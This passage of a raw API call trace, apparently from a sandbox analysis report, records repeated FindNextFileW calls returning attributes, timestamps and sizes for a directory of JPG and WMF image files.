hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeac9c22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeac9c22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeac9c22, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb57d, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0175361.JPG", cAlternateFileName="")) returned 1 [0274.392] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeac9c22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeac9c22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeac9c22, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x38d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0175428.JPG", cAlternateFileName="")) returned 1 [0274.392] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeac9c22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeac9c22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeac9c22, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb12e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0177257.JPG", cAlternateFileName="")) returned 1 [0274.392] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeac9c22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeac9c22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeac9c22, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd902, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0177806.JPG", cAlternateFileName="")) returned 1 [0274.392] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeac9c22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeac9c22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeac9c22, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x907d, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0178348.JPG", cAlternateFileName="")) returned 1 [0274.393] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeac9c22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeac9c22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeac9c22, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7214, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0178459.JPG", cAlternateFileName="")) returned 1 [0274.393] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeac9c22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeac9c22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeac9c22, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x67a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0178460.JPG", cAlternateFileName="")) returned 1 [0274.393] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeaefe14, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeaefe14, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeaefe14, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5de2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0178523.JPG", cAlternateFileName="")) returned 1 [0274.393] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeaefe14, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeaefe14, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeaefe14, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5b2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0178632.JPG", cAlternateFileName="")) returned 1 [0274.393] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeaefe14, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeaefe14, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeaefe14, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7d26, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0178639.JPG", cAlternateFileName="")) returned 1 [0274.393] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeaefe14, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeaefe14, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeaefe14, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8a0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0178932.JPG", cAlternateFileName="")) returned 1 [0274.393] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeaefe14, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeaefe14, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeaefe14, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7d6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0179963.JPG", cAlternateFileName="")) returned 1 [0274.393] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeac9c22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeac9c22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeaefe14, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x40e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0182689.JPG", cAlternateFileName="")) returned 1 [0274.393] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeaefe14, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeaefe14, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeaefe14, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5f48, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0182888.WMF", cAlternateFileName="")) returned 1 [0274.394] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeaefe14, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeaefe14, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeaefe14, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0182898.WMF", cAlternateFileName="")) returned 1 [0274.394] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeaefe14, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeaefe14, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeaefe14, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0182902.WMF", cAlternateFileName="")) returned 1 [0274.394] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeac9c22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeac9c22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeaefe14, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3ed2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0182946.WMF", cAlternateFileName="")) returned 1 [0274.394] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb1606f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb1606f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb1606f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x745c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183172.WMF", cAlternateFileName="")) returned 1 [0274.394] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeaefe14, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeaefe14, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb1606f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6fd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183174.WMF", cAlternateFileName="")) returned 1 [0274.394] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeaefe14, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeaefe14, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb1606f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5f6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183198.WMF", cAlternateFileName="")) returned 1 [0274.394] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeaefe14, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeaefe14, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb1606f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4b4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183574.WMF", cAlternateFileName="")) returned 1 [0274.394] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeaefe14, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeaefe14, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeaefe14, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c88, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185670.WMF", cAlternateFileName="")) returned 1 [0274.394] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeaefe14, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeaefe14, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeaefe14, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4e46, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185774.WMF", cAlternateFileName="")) returned 1 [0274.395] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeaefe14, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeaefe14, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb1606f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x69d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185776.WMF", cAlternateFileName="")) returned 1 [0274.395] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeaefe14, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeaefe14, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeaefe14, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x62e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185778.WMF", cAlternateFileName="")) returned 1 [0274.395] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeaefe14, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeaefe14, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeaefe14, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe956, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185780.WMF", cAlternateFileName="")) returned 1 [0274.395] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeaefe14, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeaefe14, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeaefe14, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x99a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185786.WMF", cAlternateFileName="")) returned 1 [0274.395] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb1606f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb1606f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb1606f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x50b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185790.WMF", cAlternateFileName="")) returned 1 [0274.395] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb1606f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb1606f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb1606f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x650c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185796.WMF", cAlternateFileName="")) returned 1 [0274.396] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb1606f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb1606f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb1606f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8420, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185798.WMF", cAlternateFileName="")) returned 1 [0274.396] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb1606f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb1606f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb1606f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5eae, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185800.WMF", cAlternateFileName="")) returned 1 [0274.396] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb1606f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb1606f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb1606f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x773a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185806.WMF", cAlternateFileName="")) returned 1 [0274.396] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb1606f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb1606f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb1606f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185818.WMF", cAlternateFileName="")) returned 1 [0274.396] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb1606f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb1606f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb1606f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e74, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185828.WMF", cAlternateFileName="")) returned 1 [0274.396] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb1606f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb1606f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb1606f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2182, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185834.WMF", cAlternateFileName="")) returned 1 [0274.396] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb1606f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb1606f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb1606f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x37e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0185842.WMF", cAlternateFileName="")) returned 1 [0274.396] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb1606f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb1606f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb1606f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x21da, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0186346.WMF", cAlternateFileName="")) returned 1 [0274.396] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb3c2ce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb3c2ce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb3c2ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x843a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0186360.WMF", cAlternateFileName="")) returned 1 [0274.396] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb1606f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb1606f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb3c2ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x44fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0186362.WMF", cAlternateFileName="")) returned 1 [0274.397] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb1606f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb1606f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb3c2ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4724, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0186364.WMF", cAlternateFileName="")) returned 1 [0274.397] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb1606f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb1606f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb3c2ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x19c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187647.WMF", cAlternateFileName="")) returned 1 [0274.397] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb1606f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb1606f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb1606f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1500, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187815.WMF", cAlternateFileName="")) returned 1 [0274.397] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb1606f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb1606f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb1606f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2d7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187817.WMF", cAlternateFileName="")) returned 1 [0274.397] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb1606f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb1606f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb3c2ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2870, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187819.WMF", cAlternateFileName="")) returned 1 [0274.397] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb1606f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb1606f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb3c2ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187825.WMF", cAlternateFileName="")) returned 1 [0274.398] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb1606f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb1606f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb1606f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3040, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187829.WMF", cAlternateFileName="")) returned 1 [0274.398] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb1606f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xeb1606f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb1606f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2480, dwReserved0=0x0, 